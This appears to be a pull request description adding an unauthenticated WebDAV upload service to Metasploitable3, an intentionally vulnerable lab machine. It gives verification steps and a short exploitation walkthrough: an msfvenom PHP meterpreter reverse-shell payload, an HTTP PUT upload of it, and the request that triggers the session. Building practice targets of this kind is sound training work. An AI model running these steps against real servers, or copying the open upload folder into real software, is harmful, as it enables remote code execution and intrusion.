Add WebDAV for Metasploitable3

[wchen-r7]

This adds WebDAV to Metasploitable. The PR replaces #13.

Verification:

• Do: vagrant destroy && vagrant up to build the image
• Once you're in the VM, you should see that port 8585 is running
• In your terminal, do: nc IP 8585
• And then type: PUT /uploads/test.txt HTTP/1.0, and then hit [ENTER] twice
• You should see that the server responds with HTTP/1.1 201 Created
• On Metasploitable3, if you go to C:\wamp\www\uploads, you should see the test.txt file

For exploitation:

• Generate a PHP meterpreter: ./msfvenom -p php/meterpreter/reverse_tcp lhost=[IP] lport=5555 -f raw -o /tmp/evil.php
• Open a msfconsole, and start a handler for the php/meterpreter/reverse_tcp
• Open another msfconsole, do: use auxiliary/scanner/http/http_put
• Do: set FILEDATA file://tmp/evil.php
• Do: set FILENAME evil.php
• Do: set RHOSTS [IP]
• Do: set RPORT 8585
• Do: run
• If http_put module hangs, check the other msfconsole, there might a payload session established. If you don't see a session, manually request: http://IP:8585/uploads/evil.php, and that should get you a session.